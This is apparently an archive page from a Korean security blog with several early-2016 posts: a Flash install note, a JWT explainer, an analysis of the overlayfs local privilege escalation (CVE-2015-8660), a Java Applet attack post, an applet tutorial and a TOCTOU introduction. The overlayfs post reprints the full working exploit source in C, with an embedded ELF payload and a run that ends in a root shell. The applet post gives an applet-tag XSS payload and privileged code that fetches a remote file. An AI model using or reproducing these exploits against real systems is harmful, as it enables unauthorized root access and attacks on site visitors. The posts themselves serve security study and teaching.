usr/share/icons/hicolor/24x24/apps/flash-player-properties.png
usr/share/icons/hicolor/48x48/
usr/share/icons/hicolor/48x48/apps/
usr/share/icons/hicolor/48x48/apps/flash-player-properties.png
usr/share/icons/hicolor/32x32/
usr/share/icons/hicolor/32x32/apps/
usr/share/icons/hicolor/32x32/apps/flash-player-properties.png
usr/share/icons/hicolor/16x16/
usr/share/icons/hicolor/16x16/apps/
usr/share/icons/hicolor/16x16/apps/flash-player-properties.png
usr/share/icons/hicolor/22x22/
usr/share/icons/hicolor/22x22/apps/
usr/share/icons/hicolor/22x22/apps/flash-player-properties.png
usr/share/applications/
usr/share/applications/flash-player-properties.desktop
usr/bin/
usr/bin/flash-player-properties
usr/lib/
usr/lib/kde4/
usr/lib/kde4/kcm_adobe_flash_player.so

copy .so file and /usr directory


/usr 하단으로 압축파일 내 usr 디렉토리 하단의 데이터를 복사해줍니다.

#> cp -r usr/* /usr


그리고 libflashplayer.so 파일을 mozila directory로 복사해줍니다.

#> cp libflashplayer.so /usr/lib/mozilla/plugins/


Fnish!
Share: | Coffee Me:

1/20/2016

[WEB HACKING] JWT(JSON Web Token) 인증방식과 보안테스트/취약성(JWT Test and Vulnerability)


요즘 인증 관련해서 oAuth를 많이 사용하면서 자연스레 JWT에 대한 이야기도 많습니다.
테스트를 하다보니 개념만 알고있던 JWT에 대해 공부도 되고 보안적인 문제점이 있을까 생각하는 계기가 되어 글 작성해봅니다.

JWT란?

이름 그대로 JSON을 이용한 Web Token 입니다. 주로 서비스에 대한 인증이나 CSRF 토큰등에 사용될 수 있겠지요. 이런 JWT는 아래와 같은 구조를 가집니다.


Header + Payload + Signature 로 구성됩니다.

https://cask.scotch.io/2014/11/json-web-token-overview1.png

헤더와 페이로드로 나눌 수 있으며 각각 토큰에 대한 큰 정보와 실제 데이터로 구성이 됩니다.

JWT에서 토큰은 헤더와 Payload로 나눠짐
Header: 암호화 알고리즘 및 Type을 의미함
{
  "alg":"HS256",
  "typ":"JWT"
}

Payload : 전송할 내용
{
  "test":0000001,
  "User":"TestUser1",
  "auth":"nomal_user"
}

헤더 내용 중 alg는 보안 알고리즘, typ는 type을 의미합니다.
alg는 HS256 외 다수의 알고리즘을 지원합니다.

이렇게 지정한 데이터는 인코딩 과정을 거쳐 아래와 같은 Token으로 변환되어 사용됩니다.

eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJwYXJhbTEiOjgwODB9.wNDKI_bZi5E5uWFwQ72QbMUEsn0_mlyT1F2y_0xWSKA

Header: red
Payload: Blue
Signature: Yellow

JWT 테스트를 위한 세팅

저는 주로 루비와 C로 테스트를 하기 때문에.. Ruby 기준으로 작성하겠습니다.
(물론 다른언어도 별 차이 없습니다 =_=)

인증은 항상 풀어보는게 가장 좋은방법이라 생각됩니다.(풀어진다면..)
토큰 자체에는 복잡한 규칙은 없어 생각보다 간단한 방법으로 풀이가 가능합니다.

Generate JWT

hmac_secret = 'no'
payload = {:param1 => 8080}
token = JWT.encode payload, hmac_secret, 'HS256'    #encode(payload,key,algorithm)
puts "Encode Token: ", token
위 코드를 보면 hmac_secret 는 key를 의미하며 payload의 데이터를 해당 키를 이용해 HS256으로 Encoding 합니다. 이러한 결과값은 아래와 같이 JWT Token 형태로 나타납니다.

Encode Token:
eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJwYXJhbTEiOjgwODB9.wNDKI_bZi5E5uWFwQ72QbMUEsn0_mlyT1F2y_0xWSKA

Decode JWT

require 'jwt'
hmac_secret = 'no'
payload = {:param1 => 8080}
token = JWT.encode payload, hmac_secret, 'HS256'    #encode(payload,key,algorithm)
puts "Encode Token: ", token
puts "Decode Token: ", JWT.decode(token,"no")   #decode(token,Key)
아까 만들어진 부분을 포함하여 다시 그 Key를 가지고 복원하는 코드를 추가하였습니다.
간단하죠?

#> ruby jwtencode.rb
Encode Token:
eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJwYXJhbTEiOjgwODB9.wNDKI_bZi5E5uWFwQ72QbMUEsn0_mlyT1F2y_0xWSKA
Decode Token:
{"param1"=>8080}
{"typ"=>"JWT", "alg"=>"HS256"}


코드로는 이렇게 표현하지만 사실 더 간단하게 풀 수 있습니다.
JWT는 각 구간별로 Base64로 인코딩되기 때문에 해당 부분 긁어서 보시면 바로 확인 가능합니다.

Header: eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.
 + {"typ":"JWT","alg":"HS256"}
Payload: eyJwYXJhbTEiOjgwODB9.
 + {"param1":8080}
Signature: wNDKI_bZi5E5uWFwQ72QbMUEsn0_mlyT1F2y_0xWSKA

JWT 어떤 보안적인 문제점들이 있을까?

이런 인증 환경에선 어떤 문제들이 있을지 고민을 좀 해보았습니다.
여러가지 방법이 있을 것이고, JWT 자체적인 문제도 있을겁니다.
(이부분은 저도 풀어나가려고 시간을 많이 투자했었고, 다른 분들도 JWT 자체에 대한 문제를 많이 제기하죠.)

1.토큰 내 중요한 정보 노출
일단 가장 흔한 경우는 이 토큰을 만들기 위해 사용되는 데이터들입니다.
토큰이기 때문에 각 계정이나 세션을 의미하는 고유한 데이터도 포함될 수 있고 개인정보도 포함될수도 있습니다. 보안 분석가라면 이 부분은 꼭 체크해주시고, 개발자라면 중요한 정보는 사용되지 않도록 구성해야 할 것입니다. 

2.토큰 내 값 조작으로 인가되지 않은 접근 권한 획득(Signature에 대한 해법이 필요)
이 방법은 토큰 내 권한이나 인가에 관련된 값을 변조하여 공격을 수행할 수 있습니다.
단순하게 토큰에 의존하여 사용자를 식별한다면 공격자는 토큰을 위조하여 서버를 속일수도 있죠.

아래 샘플은 jwt 공식 홈(jwt.io) 에서 제공되는 기본 sample 코드인데요.
여기서 보아도 payload 데이터에 admin을 의미하는 값이 들어있습니다.



이러한 부분들을 조작하여 전송할 때 서버가 별다른 검증없이 클라이언트 정보를 신뢰한다면 인가받지 않은 부분에 접근할 수 있게 될 수 있습니다.

추가로 jwt 홈페이지에 가면 쉽게 만들어보고 테스트할 수 있습니다.
물론 직접짜서 해보는게 더 재미있긴 하지만요 ㅎㅎ
(https://jwt.io/)


Share: | Coffee Me:

1/18/2016

[EXPLOIT] Linux Kernel Overlayfs - Local Privilege Escalation 취약점 분석

작년 6월쯤 overlayfs 관련 local root exploit 이 나와서 좀 관찰해봤던 기억이 납니다.
물론 포스팅에선 걍 소식만 전했었네요..



최근 유사형태의 취약점으로 edb에 overlayfs 를 이용한 권한상승 취약점이 다시 올라오게 되었습니다.

EDB-ID: 39230 CVE: 2015-8660 OSVDB-ID: N/A
EDB Verified: Author: halfdog Published: 2016-01-12
Download Exploit: Source Raw Download Vulnerable App: N/A 

작성중으로 한참 냅뒀었네요.. 대충 마무리하고 포스팅 진행합니다.

Overlayfs 취약점 원리

리눅스 유저는 overlayfs를 포함하여 일반 사용자 권한으로 파일시스템을 마운트 할 수 있는데 이 과정 중
overlayfs에 있는 파일모드 변경 시 권한에 대한 확인 누락으로 사용자가 root로 권한을 상승할 수 있는 취약점입니다.

크게 흐름을 보자면 새로운 유저를 생성하고 Clone 관련 플래그(CLONE_NEWUSER|CLONE_NEWNS flags)를 포함하여 namespace를 마운트할 때 overlayfs에서 lower filesystem의 /bin을 사용하게 되는데 이 부분의 문제를 이용하여 공격을 수행하게 됩니다.

원래 Overlayfs가 live CD 같이 읽기 전용 저장소로 동작할 때 사용됩니다.
(Live CD에서 많이 사용됩니다. 꼭 이것에서만 사용되는건 아니에요.)

overlayfs로 마운트 된 후 내부의 파일의 모드를 변경할 때 보안 체크로직이 누락되어 SUID의 바이너리를 생성하고, 외부에서 해당 바이너리를 실행하여 Root 를 탈취합니다.

Exploit Code Analysis - Main

맨 앞부분에선 공격에 사용될 su와 mount 패스 및 tmp 디렉토리를 지정하고 취약 부분으로 넘어가게 됩니다.

char *targetSuidPath="/bin/su";
char *helperSuidPath="/bin/mount";

..snip..

  sprintf(idMapFileName, "/proc/%d/setgroups", pid);
  int setGroupsFd=open(idMapFileName, O_WRONLY);
  if(setGroupsFd<0) {
    fprintf(stderr, "Failed to open setgroups\n");
    return(1);
  }
 ....등등
사실상 실제 중요한 부분은 호출되는 함수에 있겠지요.
Main 함수에서 쭉 따라오다 보면 아래와 같은 부분이 있습니다.

// Create child; child commences execution in childFunc()
// CLONE_NEWNS: new mount namespace
// CLONE_NEWPID
// CLONE_NEWUTS
pid_t pid=clone(childFunc, child_stack+STACK_SIZE,
      CLONE_NEWUSER|CLONE_NEWNS|SIGCHLD, argv+argPos);
  if(pid==-1) {
여기서 clone 함수를 이용해 Clone 관련 플래그를 지정하고 childFunc를 호출합니다.
childFunc 부분은 아래에서 다룹니다.

그다음 아래와 같이 idMapFileName에 할당된 pid를 가지고 프로세스 내 setgroups와 uid 등을 집어넣습니다.

sprintf(idMapFileName, "/proc/%d/setgroups", pid);
  int setGroupsFd=open(idMapFileName, O_WRONLY);
  if(setGroupsFd<0) {
    fprintf(stderr, "Failed to open setgroups\n");
    return(1);
  }
  result=write(setGroupsFd, "deny", 4);
  if(result<0) {
    fprintf(stderr, "Failed to disable setgroups\n");
    return(1);
  }
  close(setGroupsFd);

  sprintf(idMapFileName, "/proc/%d/uid_map", pid);
  fprintf(stderr, "Setting uid map in %s\n", idMapFileName);
  int uidMapFd=open(idMapFileName, O_WRONLY);
  if(uidMapFd<0) {
    fprintf(stderr, "Failed to open uid map\n");
    return(1);
  }
  sprintf(idMapData, "0 %d 1\n", getuid());
  result=write(uidMapFd, idMapData, strlen(idMapData));
  if(result<0) {
    fprintf(stderr, "UID map write failed: %d (%s)\n", errno, strerror(errno));
    return(1);
  }
  close(uidMapFd);

  sprintf(idMapFileName, "/proc/%d/gid_map", pid);
  fprintf(stderr, "Setting gid map in %s\n", idMapFileName);
  int gidMapFd=open(idMapFileName, O_WRONLY);
  if(gidMapFd<0) {
    fprintf(stderr, "Failed to open gid map\n");
    return(1);
  }
  sprintf(idMapData, "0 %d 1\n", getgid());
  result=write(gidMapFd, idMapData, strlen(idMapData));
  if(result<0) {
    fprintf(stderr, "GID map write failed: %d (%s)\n", errno, strerror(errno));
    return(1);
  }
  close(gidMapFd);
그러고 아래로 쭉 가서 보면 아까 지정한 idMapFileName을 execve를 통해 시스템 콜로 넘기는 것으로 root 를 탈취하는 것으로 보입니다.

// We can't truncate, that would remove the setgid property of
// the file. So make sure the SUID binary does not write too much.
      limits.rlim_cur=suidWriteTestPos-suidExecMinimalElf;
      limits.rlim_max=limits.rlim_cur;
      setrlimit(RLIMIT_FSIZE, &limits);

// Do not rely on some SUID binary to print out the unmodified
// program name, some OSes might have hardening against that.
// Let the ld-loader will do that for us.
      limits.rlim_cur=1<<22;
      limits.rlim_max=limits.rlim_cur;
      result=setrlimit(RLIMIT_AS, &limits);

      dup2(destFd, 1);
      dup2(destFd, 2);
      helperArgs[0]=suidWriteNext;
      execve(helperSuidPath, helperArgs, NULL);
      fprintf(stderr, "Exec failed\n");
      return(1);
    }
    waitpid(helperPid, NULL, 0);
    suidWriteNext=suidWriteTestPos;
  }
  close(destFd);
  execve(idMapFileName, argv+argPos-1, NULL);
  fprintf(stderr, "Failed to execute %s: %d (%s)\n", idMapFileName,
      errno, strerror(errno));
  return(1);
이젠 이 과정을 위한 childFunc 함수를 볼까요.

Exploit Code Analysis - childFunc(overlayfs 마운트 후 처리부분)


static int childFunc(void *arg) {
  fprintf(stderr, "euid: %d, egid: %d\n", geteuid(), getegid());
  while(geteuid()!=0) {
    usleep(100);
  }
  fprintf(stderr, "euid: %d, egid: %d\n", geteuid(), getegid());

  int result=mount("overlayfs", "/tmp/x/bin", "overlayfs", MS_MGC_VAL, "lowerdir=/bin,upperdir=/tmp/x/over,workdir=/tmp/x/bin");
  if(result) {
    fprintf(stderr, "Overlay mounting failed: %d (%s)\n", errno, strerror(errno));
    return(1);
  }
  chdir("/tmp/x/bin");
  result=chmod("su", 04777);
  if(result) {
    fprintf(stderr, "Mode change failed\n");
    return(1);
  }

  fprintf(stderr, "Namespace helper waiting for modification completion\n");
  struct stat statBuf;
  char checkPath[128];
  sprintf(checkPath, "/proc/%d", getppid());
  while(1) {
    usleep(100);
    result=stat(checkPath, &statBuf);

    if(result) {
      fprintf(stderr, "Namespacer helper: parent terminated\n");
      break;
    }
// Wait until parent has escalated.
    if(statBuf.st_uid) break;
  }

  chdir("/");
  umount("/tmp/x/bin");
  unlink("/tmp/x/over/su");
  rmdir("/tmp/x/over");
  rmdir("/tmp/x/bin/work");
  rmdir("/tmp/x/bin");
  rmdir("/tmp/x/");
  fprintf(stderr, "Namespace part completed\n");

  return(0);
}
함수 초기부분에서 mount 함수를 통해 파일시스템을 마운트하는데, overlayfs 로 마운트합니다.
/tmp/x/bin 은 overlay filesystem 으로 마운트되겠지요.

int result=mount("overlayfs", "/tmp/x/bin", "overlayfs", MS_MGC_VAL, "lowerdir=/bin,upperdir=/tmp/x/over,workdir=/tmp/x/bin");
  if(result) {
    fprintf(stderr, "Overlay mounting failed: %d (%s)\n", errno, strerror(errno));
    return(1);
  }
그러고 나서 chdir로 작업디렉토리를 변경 후 su 파일의 권한을 4777 로 지정해줍니다.

chdir("/tmp/x/bin");
  result=chmod("su", 04777);
  if(result) {
    fprintf(stderr, "Mode change failed\n");
    return(1);
  }
마지막으로 umount 후 작업에 사용했던 파일들을 제거합니다.

chdir("/");
  umount("/tmp/x/bin");
  unlink("/tmp/x/over/su");
  rmdir("/tmp/x/over");
  rmdir("/tmp/x/bin/work");
  rmdir("/tmp/x/bin");
  rmdir("/tmp/x/");

Run Exploit

#> ./exploit_overlayfs -- /bin/bash 
Setting uid map in /proc/491/uid_map
Setting gid map in /proc/491/gid_map
euid: 0, egid: 0
euid: 0, egid: 0
Namespace helper waiting for modification completion
Namespace part completed
#> whoami
root


Full Code


#define _GNU_SOURCE
#include <errno.h>
#include <fcntl.h>
#include <sched.h>
#include <sys/stat.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/mount.h>
#include <sys/resource.h>
#include <sys/wait.h>
#include <unistd.h>

extern char **environ;

static int childFunc(void *arg) {
  fprintf(stderr, "euid: %d, egid: %d\n", geteuid(), getegid());
  while(geteuid()!=0) {
    usleep(100);
  }
  fprintf(stderr, "euid: %d, egid: %d\n", geteuid(), getegid());

  int result=mount("overlayfs", "/tmp/x/bin", "overlayfs", MS_MGC_VAL, "lowerdir=/bin,upperdir=/tmp/x/over,workdir=/tmp/x/bin");
  if(result) {
    fprintf(stderr, "Overlay mounting failed: %d (%s)\n", errno, strerror(errno));
    return(1);
  }
  chdir("/tmp/x/bin");
  result=chmod("su", 04777);
  if(result) {
    fprintf(stderr, "Mode change failed\n");
    return(1);
  }

  fprintf(stderr, "Namespace helper waiting for modification completion\n");
  struct stat statBuf;
  char checkPath[128];
  sprintf(checkPath, "/proc/%d", getppid());
  while(1) {
    usleep(100);
    result=stat(checkPath, &statBuf);

    if(result) {
      fprintf(stderr, "Namespacer helper: parent terminated\n");
      break;
    }
// Wait until parent has escalated.
    if(statBuf.st_uid) break;
  }

  chdir("/");
  umount("/tmp/x/bin");
  unlink("/tmp/x/over/su");
  rmdir("/tmp/x/over");
  rmdir("/tmp/x/bin/work");
  rmdir("/tmp/x/bin");
  rmdir("/tmp/x/");
  fprintf(stderr, "Namespace part completed\n");

  return(0);
}


#define STACK_SIZE (1024 * 1024)
static char child_stack[STACK_SIZE];

int main(int argc, char *argv[]) {
  int argPos;
  int result;
  char *targetSuidPath="/bin/su";
  char *helperSuidPath="/bin/mount";

  for(argPos=1; argPos<argc; argPos++) {
    char *argName=argv[argPos];
    if(!strcmp(argName, "--")) {
      argPos++;
      break;
    }
    if(strncmp(argName, "--", 2)) {
      break;
    }

    fprintf(stderr, "%s: unknown argument %s\n", argv[0], argName);
    exit(1);
  }

  mkdir("/tmp/x", 0700);
  mkdir("/tmp/x/bin", 0700);
  mkdir("/tmp/x/over", 0700);

// Create child; child commences execution in childFunc()
// CLONE_NEWNS: new mount namespace
// CLONE_NEWPID
// CLONE_NEWUTS
  pid_t pid=clone(childFunc, child_stack+STACK_SIZE,
      CLONE_NEWUSER|CLONE_NEWNS|SIGCHLD, argv+argPos);
  if(pid==-1) {
    fprintf(stderr, "Clone failed: %d (%s)\n", errno, strerror(errno));
    return(1);
  }

  char idMapFileName[128];
  char idMapData[128];

  sprintf(idMapFileName, "/proc/%d/setgroups", pid);
  int setGroupsFd=open(idMapFileName, O_WRONLY);
  if(setGroupsFd<0) {
    fprintf(stderr, "Failed to open setgroups\n");
    return(1);
  }
  result=write(setGroupsFd, "deny", 4);
  if(result<0) {
    fprintf(stderr, "Failed to disable setgroups\n");
    return(1);
  }
  close(setGroupsFd);

  sprintf(idMapFileName, "/proc/%d/uid_map", pid);
  fprintf(stderr, "Setting uid map in %s\n", idMapFileName);
  int uidMapFd=open(idMapFileName, O_WRONLY);
  if(uidMapFd<0) {
    fprintf(stderr, "Failed to open uid map\n");
    return(1);
  }
  sprintf(idMapData, "0 %d 1\n", getuid());
  result=write(uidMapFd, idMapData, strlen(idMapData));
  if(result<0) {
    fprintf(stderr, "UID map write failed: %d (%s)\n", errno, strerror(errno));
    return(1);
  }
  close(uidMapFd);

  sprintf(idMapFileName, "/proc/%d/gid_map", pid);
  fprintf(stderr, "Setting gid map in %s\n", idMapFileName);
  int gidMapFd=open(idMapFileName, O_WRONLY);
  if(gidMapFd<0) {
    fprintf(stderr, "Failed to open gid map\n");
    return(1);
  }
  sprintf(idMapData, "0 %d 1\n", getgid());
  result=write(gidMapFd, idMapData, strlen(idMapData));
  if(result<0) {
    fprintf(stderr, "GID map write failed: %d (%s)\n", errno, strerror(errno));
    return(1);
  }
  close(gidMapFd);

// Wait until /tmp/x/over/su exists
  struct stat statBuf;
  while(1) {
    usleep(100);
    result=stat("/tmp/x/over/su", &statBuf);
    if(!result) break;
  }

// Overwrite the file
  sprintf(idMapFileName, "/proc/%d/cwd/su", pid);

// No slashes allowed, everything else is OK.
  char suidExecMinimalElf[] = {
      0x7f, 0x45, 0x4c, 0x46, 0x01, 0x01, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00,
      0x00, 0x00, 0x00, 0x00, 0x02, 0x00, 0x03, 0x00, 0x01, 0x00, 0x00, 0x00,
      0x80, 0x80, 0x04, 0x08, 0x34, 0x00, 0x00, 0x00, 0xf8, 0x00, 0x00, 0x00,
      0x00, 0x00, 0x00, 0x00, 0x34, 0x00, 0x20, 0x00, 0x02, 0x00, 0x28, 0x00,
      0x05, 0x00, 0x04, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
      0x00, 0x80, 0x04, 0x08, 0x00, 0x80, 0x04, 0x08, 0xa2, 0x00, 0x00, 0x00,
      0xa2, 0x00, 0x00, 0x00, 0x05, 0x00, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00,
      0x01, 0x00, 0x00, 0x00, 0xa4, 0x00, 0x00, 0x00, 0xa4, 0x90, 0x04, 0x08,
      0xa4, 0x90, 0x04, 0x08, 0x09, 0x00, 0x00, 0x00, 0x09, 0x00, 0x00, 0x00,
      0x06, 0x00, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
      0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x31, 0xc0, 0x89, 0xc8,
      0x89, 0xd0, 0x89, 0xd8, 0x04, 0xd2, 0xcd, 0x80, 

      0x31, 0xc0, 0x04, 0xd0, 0xcd, 0x80,

      0x31, 0xc0, 0x89, 0xd0,
      0xb0, 0x0b, 0x89, 0xe1, 0x83, 0xc1, 0x08, 0x8b, 0x19, 0xcd, 0x80
  };
  char *helperArgs[]={"/bin/mount", NULL};

  int destFd=open(idMapFileName, O_RDWR|O_CREAT|O_TRUNC, 07777);
  if(destFd<0) {
    fprintf(stderr, "Failed to open %s, error %s\n", idMapFileName, strerror(errno));
    return(1);
  }

  char *suidWriteNext=suidExecMinimalElf;
  char *suidWriteEnd=suidExecMinimalElf+sizeof(suidExecMinimalElf);
  while(suidWriteNext!=suidWriteEnd) {
    char *suidWriteTestPos=suidWriteNext;
    while((!*suidWriteTestPos)&&(suidWriteTestPos!=suidWriteEnd))
      suidWriteTestPos++;
// We cannot write any 0-bytes. So let seek fill up the file wihh
// null-bytes for us.
    lseek(destFd, suidWriteTestPos-suidExecMinimalElf, SEEK_SET);
    suidWriteNext=suidWriteTestPos;
    while((*suidWriteTestPos)&&(suidWriteTestPos!=suidWriteEnd))
      suidWriteTestPos++;

    pid_t helperPid=fork();
    if(!helperPid) {
      struct rlimit limits;

// We can't truncate, that would remove the setgid property of
// the file. So make sure the SUID binary does not write too much.
      limits.rlim_cur=suidWriteTestPos-suidExecMinimalElf;
      limits.rlim_max=limits.rlim_cur;
      setrlimit(RLIMIT_FSIZE, &limits);

// Do not rely on some SUID binary to print out the unmodified
// program name, some OSes might have hardening against that.
// Let the ld-loader will do that for us.
      limits.rlim_cur=1<<22;
      limits.rlim_max=limits.rlim_cur;
      result=setrlimit(RLIMIT_AS, &limits);

      dup2(destFd, 1);
      dup2(destFd, 2);
      helperArgs[0]=suidWriteNext;
      execve(helperSuidPath, helperArgs, NULL);
      fprintf(stderr, "Exec failed\n");
      return(1);
    }
    waitpid(helperPid, NULL, 0);
    suidWriteNext=suidWriteTestPos;
  }
  close(destFd);
  execve(idMapFileName, argv+argPos-1, NULL);
  fprintf(stderr, "Failed to execute %s: %d (%s)\n", idMapFileName,
      errno, strerror(errno));
  return(1);

}

Reference

http://www.halfdog.net/Security/2015/UserNamespaceOverlayfsSetuidWriteExec/
https://en.wikipedia.org/wiki/OverlayFS
https://www.exploit-db.com/exploits/39230/
Share: | Coffee Me:

1/16/2016

[WEB HACKING] Java Applet Attack 분석 및 활용 기법(Java Applet XSS,Malicious File Download)


웹 취약점에 대한 분석 시 주요 태그로 알려진 것들은 대다수 필터링 되어 있지만 간혹 빠지는 태그들이 있습니다.  그 중 오늘은 applet 태그에 대한 이야기를 하려합니다.



applet 태그는 웹에서 Java Applet을 이용하기 위해 object 태그와 함께 많이 사용되는 태그이죠.
이 applet 을 이용하여 다양한 형태의 공격을 수행할 수 있습니다. 신뢰하는 사이트 리스트에 포함된 곳에 악성 jar 파일이 업로드 되고, 외부에서 applet 태그를 이용하여 jar 호출 시 공격에 노출될 수도 있습니다.

공격자가 jar 파일 내 공격 구문을 사용하여 사용자에게 XSS를 하거나 개인정보를 탈취하는 등 여러가지 행위가 가능합니다.

Java Applet Attack :: File Upload 구간 찾기

일단 테스트를 수행하는 Target Page 중 File Upload가 가능한 구간을 찾습니다. Jar 파일을 업로드하여 공격에 사용할 수 있도록 하는것이 좋습니다.
(동일 도메인 or 신뢰하는 도메인일 경우 좋습니다.)

대체로 확장자나 헤더, 파일 정상 로드 여부 등을 확인하나 필터링이 부족한 경우 jar 파일을 업로드 할 수 있습니다.

Java Applet Attack :: XSS 가능 구간(<applet>,<object>) 찾기

이제 Target Page에서 XSS가 가능한 구간을 찾습니다. 우리는 applet, object 태그를 이용하여 Java Applet(jar) 을 불러와야 합니다.
물론 object 태그가 들어간 상태에서 이벤트 핸들러만 딱 들어가도 Stored XSS를 성공하지만, 더 재미있는 분석을 위해 원격지의 Applet 을 로드합니다.

Applet : <applet></applet>
주요 속성(Attribute)
 + archive : jar 파일 위치
 XSS(Cross-site Script) + code : jar 에서 시작할 class명
 + width : 너비
 + height : 높이

Object : <object></object>
주요 속성(Attribute)
 + archive : jar 파일 위치
 + classid : jar 에서 시작할 class 명
 + codetype : 코드의 Type / ex) application/java
 + width : 너비
 + height : 높이

공격코드: <applet archive="[Upload Directory]" code="xss.class"></applet>


Java Applet Attack 을 이용한 악성파일 다운로드

Applet의 기능을 이용하면 쉽게 파일을 다운로드 받을 수 있습니다.

아래와 같이 다운로드를 수행하는 Code를 작성 후 jar 형태로 만들어 업로드합니다.

import java.applet.*;
import java.awt.*;
import java.security.*;
import java.io.*;
import java.nio.channels.*;
import java.net.*;

public class xss extends Applet
{
 public final static String baseURL = "http://127.0.0.1/";
 /**
  * @param args
  */
 public void init(){
       
        //create buttons
        Button button1 = new Button("45");      
        /*
         * To change font of a button use
         * setFont(Font f) method.
         */
      
        Font myFont = new Font("Courier", Font.ITALIC,12);
        button1.setFont(myFont);
        add(button1);
        downloadFile("xss.html");

}
 public String downloadFile(final String filename) {
        return (String)AccessController.doPrivileged(new PrivilegedAction() {
            public Object run() {      
              try {
                URL finalURL = new URL(baseURL + filename);
                ReadableByteChannel rbc = Channels.newChannel(finalURL.openStream());
                URL appletDir = getCodeBase();
                FileOutputStream fos = new FileOutputStream(appletDir.getPath() + "documents/"+ filename);
                fos.getChannel().transferFrom(rbc, 0, 1 << 24);
                return 1;
              } catch (Exception x) {
                x.printStackTrace();
                return null;
              }
            }
          });
}
}

대응방안

1. File Upload 기능 시 비허용 확장자, 헤더에 대한 검사로직 추가
외부링크를 타는 경우도 많지만, 신뢰된 서비스에서 호출되는 Applet 을 위험성이 더 높습니다.
이를 해결하기 위해선 File Upload 구간에 확장자와 파일 헤더 등 비정상적인 파일의 업로드를 막아야하고
이를 쉽게 호출할 수 없도록 해야합니다.
(Web Shell , File upload 취약점 해결 방법과 비슷합니다.)

2. XSS 대응
내부 서비스에서 일어나는 Applet Attack 은 XSS로부터 시작됩니다. 또한 XSS를 막기위해 여러가지 태그, 속성에 대해 필터링 하지만 <applet> 등 주요 공격에 사용되지 않는 태그들은 놓치는 경우가 많습니다.
이러한 태그를 사용할 수 없도록 필터링 하는것이 중요합니다.

3. 사용자 입장에서의 대응
Applet을 통한 XSS 코드나 악성 페이지로 접근했을 시 즉각 행위가 일어나는 경우가 많지만,
사용자의 입력을 유도하거나 추가적인 악성코드 다운로드를 유도하는 경우도 있습니다.

일단 경고 팝업(신뢰하지 않는 사이트로부터 호출)이 떴을때 유심히 살펴보며 개인정보, 다운로드 등에 신중해야합니다.


%% Applet Attack 관련 내용과 추가로 SET을 이용하여 Applet을 사회공학 기법에 사용하는 내용도 있네요.
%% 참고하시면 좋을 것 같습니다. [ https://pentestlab.wordpress.com/tag/java-applet-attack/


Reference

https://pentestlab.wordpress.com/tag/java-applet-attack/
http://www.hahwul.com/2016/01/java-java-applet-simle-code-for-java.html
Share: | Coffee Me:

1/15/2016

[JAVA] 간단한 Java Applet 만들기(Simle Code for Java Applet)

Java Project 생성하기

Make Java Project
 + [Eclipse] New -> Project -> Java Project

Write Java Code
 + [Eclipse] File -> New -> Class

Java Applet Code 작성하기

Applet의 기능을 사용하기 위해서는 java 하단의 applet 라이브러리를 불러와야합니다.
inport 로 applet을 불러오고 사용할 Class를 Applet으로부터 상속받습니다.

import java.applet.*;
import java.awt.*;

public class xss extends Applet
{
 public void init()
  {
          Button button1 = new Button("!!!!");     
          Font xFont = new Font("Courier", Font.ITALIC,16);
          button1.setFont(xFont);
          add(button1);
 }
}
awt는 Button을 gui로 표현하기 위해서 로드하였고, 해당 부분이 Applet에 나타나게됩니다
컴파일/빌드하여 실행해보면 정상적으로 창이 나타나게 됩니다.

Jar 파일로 만들기(Make Jar file)


# jar cvf [Project Name] [Ouput]
ex) jar cvf TestProject output.jar

# java -jar output.jar

웹(HTML)에서 Applet 로드하기(Load Java Applet on HTML)

applet, object 태그를 통해 간단하게 applet을 로드할 수 있습니다.

Applet : <applet></applet>
주요 속성(Attribute)
 + archive : jar 파일 위치
 + code : jar 에서 시작할 class명
 + width : 너비
 + height : 높이

Object : <object></object>
주요 속성(Attribute)
 + archive : jar 파일 위치
 + classid : jar 에서 시작할 class 명
 + codetype : 코드의 Type / ex) application/java
 + width : 너비
 + height : 높이

Ex)
<applet archive="./test.jar" code="main.class"></applet>


Share: | Coffee Me:

1/14/2016

[SYSTEM HACKING] TOCTOU(Time-of-check Time-of-use) Race Condition

간만에 내용 정리할겸 Race Condition Attack에 대해 작성해볼까 합니다.
글을 얼마나 뽑아낼 수 있을지 모르겠네요..

일단 Race Condition 기법은 이름 그대로 "경쟁조건" 을 의미하는 공격이고 취약한 프로그램이 사용하는 부분을 동일하게 점유하여 경쟁하고 반복적인 요청 중 공격프로그램이 이길 시 공격자가 원하는 흐름으로 프로그램의 로직을 바꿀수가 있습니다.

물론 전통적인 system hacking 기법 중 하나이고, 웹이나 앱 어디에서도 유사한 형태로 쓰일 수 있습니다.
(물론 Race Condition에 취약한 프로그램이 있다는 가정 하에..)

이부분 궁금하신건 댓글주시거나, 구글링 좀 해보시면 많은 자료들이 있습니다. :)



이 중 TOCTOU(Time-of-check Time-of-use)를 활용한 Race condition 공격에 대한 이야기를 할까 합니다.
TOCTOU는 아주 오래된 기법입니다. 어디서 주워듣기론 1980년대 이 이름을 붙이 공격이 탄생하였고,
많이 나타나진 않지만 전통적인 해킹기법으로 알려진 공격기법입니다.

대체로 TOCTOU가 적용된 Race Condition이 다수이며 시스템 공격뿐만 아니라 웹 Base의 환경에서도 가능하다고 보았던 기억이 납니다.

TOCTOU(Time-of-check Time-of-use) Attack

Race Condition을 활용한 공격 중 TOCTOU 공격이 있습니다.
File Access Race Condition으로도 불리며 Race Condition 예제 중 많이 보이는 내용이기도 합니다.

공격에 대한 기본 원리는 아래와 같습니다.

Program이 데이터를 확인하고, 사용하는 그 시간에 공격자의 코드가 개입하여 흐름을 바꾸게 됩니다.
대체로 Race Condition과 함께 Symbolic Link를 거는 형태의 자료들이 많이 있습니다.

권한이 있는 프로그램이 사용중이 파일이나 메모리에 다른 프로그램(공격자)가 간섭해서 데이터를 오염시키거나, 변조할 수 있는 생각보다 위험한 공격이지요. Linux 에서의 Secure Coding에서도 TOCTOU와 Race Condition에  중요성이 나타나지요.
